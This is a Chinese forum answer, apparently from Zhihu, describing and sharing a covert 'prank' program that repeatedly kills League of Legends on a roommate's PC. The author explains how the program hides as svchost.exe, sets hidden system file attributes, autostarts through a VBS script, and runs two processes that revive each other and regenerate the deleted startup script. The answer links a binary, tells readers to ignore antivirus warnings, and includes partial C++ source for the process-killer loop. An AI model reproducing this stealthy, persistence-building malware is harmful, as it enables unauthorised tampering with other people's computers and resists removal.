看到这个问题。。。这个问题。。。。哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈&br&正好前两天我也在做同样的事情,我就是单纯地想恶作剧一下室友。&br&&br&我先是写了个C++小程序,每200ms检测一下进程,如果有目标进程(LOL),那就关闭。但是这样太明显了,室友会马上起疑心。&br&我又修改了一下代码,让这个恶作剧程序变为:每30分钟到3小时之间的某个时间点关闭一次LOL,关闭2~6次之后程序结束。然后把程序名改成svchost.exe。放在一个隐藏的文件夹里,给文件加上属性:attrib +a +h +s +r 。这样它就变成隐藏的系统文件了,根本就找不到。而svchost.exe也是个系统进程, 根本看不出什么不对劲的地方,用一个vbs脚本开机就马上后台启动。完成。&br&&br&后来又升级了一下,使用双进程。&br&2个进程都能结束LOL,并且互相检测,如果程序A不在运行,程序B就立马启动程序A。这样的话就不能结束进程了。除非用批处理。但我的程序名是svchost.exe。批处理会同时终止一些系统进程。导致不能联网,甚至不能重启,不能正常关机等问题。(taskkill /f /im svchost.exe我对windows系统不了解,可能有更好的办法。)。&br&也就是说,这样的话,程序AB就关不掉了。要是强行关闭,那系统就挂了,重启之后AB又启动了。&br&聪明的你肯定想到,把程序AB的启动脚本从“启动”文件夹删掉就行了。&br&那我还可以在程序AB中加个功能,检测启动脚本是否完好。要是被删除了,就马上生成一个。。。。 &br&&br&给个文件,只要解压出来,然后运行一下KillYourLOL.exe。那你室友电脑上的LOL就永远不能运行了。要解除的话,运行一下uninstall.bat。杀毒软件可能会报病毒,不用害怕。要是不放心,可以解压KillYourLOL.exe后运行。&br&&b&里面有一个heart.exe的文件。 &a data-title=&@Milo Yip& data-editable=&true& class=&member_mention& href=&///people/1e2cccc3ce33& data-hash=&1e2cccc3ce33& data-tip=&p$b$1e2cccc3ce33& data-hovercard=&p$b$1e2cccc3ce33&&@Milo Yip&/a&
用了你在&a href=&/question/& class=&internal&&如何用C语言画一个“心形”? - 编程语言&/a& 中的回答----更新5:通过空间的缩放变换实现 ASCII 心跳动画。
you cool with that? 我觉得你的这段代码太棒了,加在程序里是个很棒的LOGO。 &br&&br&&br&KillYourLOL:&br&&/b&&a class=& external& href=&///?target=http%3A///s/1geMQDrH& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&http://&/span&&span class=&visible&&/s/1geMQDr&/span&&span class=&invisible&&H&/span&&span class=&ellipsis&&&/span&&i class=&icon-external&&&/i&&/a&&br&&br&源码送上:(随手写的,本来用的C,后来变成C++了。觉得代码奇怪不要骂我)&br&程序A:&br&#include &windows.h&&br&#include &tlhelp32.h&
&br&#include &stdio.h& &br&#include &time.h&&br&#include &iostream&&br&#include &string&&br&using std::&br&&br&//通过进程ID终止进程&br&BOOL KillProcess(DWORD ProcessId);&br&void loop(char* pname);&br&bool hasProcesses(const char *, DWORD &);&br&&br&int main(int argc, char* argv[])&br&{&br&
DWORD pid = 0;&br&
while(true)&br&
if(hasProcesses(&svchost1.exe&,pid)==false)&br&
system(&%userprofile%\\AppData\\a.vbs&);&br&&br&
if(hasProcesses(&LolClient.exe&,pid)==true)&br&
KillProcess(pid);&br&
Sleep(200);&br&
return 0;&br&}&br&&br&//通过进程ID终止进程&br&BOOL KillProcess(DWORD ProcessId)&br&{&br&
//通过进程ID获取句柄&br&
HANDLE hProcess=OpenProcess(PROCESS_TERMINATE,FALSE,ProcessId);&br&
if(hProcess==NULL)&br&
return FALSE;&br&
//终止进程,参数为进程句柄和退出码&br&
if(!TerminateProcess(hProcess,0))&br&
return FALSE;&br&
return TRUE;&br&}&br&&br&bool hasProcesses(const char *pname,DWORD &pid)&br&{&br&
PROCESSENTRY32 pe32;&br&
pe32.dwSize = sizeof(pe32);&br&
//给系统内所有的进程拍个快照
HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);&br&
if (hProcessSnap == INVALID_HANDLE_VALUE)&br&
//遍历进程快照,轮流显示每个进程的信息
BOOL bMore = Process32First(hProcessSnap, &pe32);&br&
//关闭进程的间隔时间&br&
while (bMore)&br&
if(strcmp(pe32.szExeFile,pname)==0)&br&
pid = pe32.th32ProcessID;&br&
//KillProcess(pe32.th32ProcessID);&br&
//printf(&%s has been shutdown the %dth time.\n&, pe32.szExeFile, ++shutdownCount);&br&
bMore = Process32Next(hProcessSnap, &pe32);&br&
//不要忘记清除掉snapshot对象
CloseHandle(hProcessSnap);&br&&br&}&br&&br&程序B的话一样,脚本的话解压出来就能看。就不贴代码了。
看到这个问题。。。这个问题。。。。哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈 正好前两天我也在做同样的事情,我就是单纯地想恶作剧一下室友。 我先是写了个C++小程序,每200ms检测一下进程,如果有目标进程(LOL),那就关闭。但是这样太明显了…
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